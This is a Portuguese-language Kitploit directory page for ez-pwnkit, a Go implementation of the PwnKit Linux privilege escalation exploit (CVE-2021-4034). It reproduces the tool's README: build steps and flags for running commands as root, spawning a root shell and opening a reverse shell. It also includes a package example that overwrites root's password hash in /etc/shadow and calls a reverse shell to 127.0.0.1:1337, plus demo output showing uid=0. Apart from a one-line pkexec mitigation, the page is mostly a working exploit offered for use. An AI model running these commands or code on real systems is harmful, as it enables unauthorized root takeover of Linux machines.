Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
ez-pwnkit — Implementação em Go do exploit de escalonamento local de privilégios PwnKit para Linux (CVE-2021-4034) | Kitploit
Ferramentas/GitHubGitHub/oxdbxkxo/ez-pwnkit
Escalada de PrivilégiosFrameworks de ExploraçãoAnálise de VulnerabilidadesExploraçãoDesenvolvimento de Payloads
GitHuboxdbxkxo/ez-pwnkit

ez-pwnkit

Implementação em Go do exploit de escalonamento local de privilégios PwnKit para Linux (CVE-2021-4034)

Ver Repositório
92há 4 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

ez-pwnkit

Uma implementação puramente em Go do exploit CVE-2021-4034 PwnKit.

O exploit usa syscall.ForkExec para sobreviver ao fim do programa principal.

Instalação

root@kitploit:~
git clone https://github.com/OXDBXKXO/ez-pwnkit.git
cd ez-pwnkit
make

Como o exploit depende de uma biblioteca compartilhada maliciosa, um arquivo PWN.so é gerado a partir de payload.go e embutido no executável exploit resultante.

O Makefile usa sed para alterar temporariamente o nome do pacote do arquivo payload.go para main, tornando este Makefile exclusivo para Linux.

Como o payload em Go não é tão confiável quanto o em C, o Makefile compilará o exploit com o payload em C por padrão. Você pode optar por compilar com o payload em Go usando make build_go.

Uso

Como executável autônomo

root@kitploit:~
$> ./exploit -h
Usage of ./exploit:
  -c string
        Run command as root in separate process
  -o    Pipe output of forked command to terminal
  -r string
        Open a reverse-shell in separate process. Format: ip:port
  -s    Spawn a root shell

O exploit pode ser usado com um comando (-c), como reverse-shell (-r) ou para abrir um shell root (-s).

root@kitploit:~
$> ./exploit -s
sh-5.1#
root@kitploit:~
$> ./exploit -c "cat /etc/passwd"
root@kitploit:~
$> ./exploit -o -c "cat /etc/passwd"
[/etc/passwd content]

Como pacote

root@kitploit:~
package main

import (
    "github.com/OXDBXKXO/ez-pwnkit"
)

func main() {
    // Change root password to 'password'
    ez_pwnkit.Command(`sed -i -e 's,^root:[^:]\+:,root:$6$eymNRCK.KxwDM6vu$idH0swGW1nsnLb8fT1QibUho5xg7uGJT7fuiheLZHIi9M4gTSk0qIOlUIk2Mm9/Nz5C.T4GkgkmLcK5BtOPkS0:,' etc/shadow`, false)

    // Open a reverse-shell
	ez_pwnkit.RevShell("127.0.0.1:1337")
}

Observe que Command e RevShell usam syscall.ForkExec para executar o exploit, portanto os processos resultantes são separados do programa principal e sobrevivem ao seu fim.

Embora o go-PwnKit possa ser importado para o seu projeto a partir do Github, não se esqueça de que você estará executando uma biblioteca compartilhada não confiável como root. O uso de um PWN.so compilado localmente é, portanto, altamente recomendado. Só avisando 😚

Demonstração

root@kitploit:~
$> ./exploit
sh-5.1# id
uid=0(root) gid=0(root) groups=0(root)
sh-5.1#

Mitigação

Aplique o patch no pkexec se possível; caso contrário, desative o bit setuid no binário pkexec.

root@kitploit:~
chmod 0755 /usr/bin/pkexec

Créditos

Este projeto é inspirado em vários outros PoCs do exploit PwnKit.

Agradecimentos a An00bRektn pela configuração direta do exploit.

Agradecimentos a PaterGottesman e berdav pela clareza na explicação do exploit.

Agradecimentos a dzonerzy pelo truque do GIO_USE_VFS.

Baixar ferramenta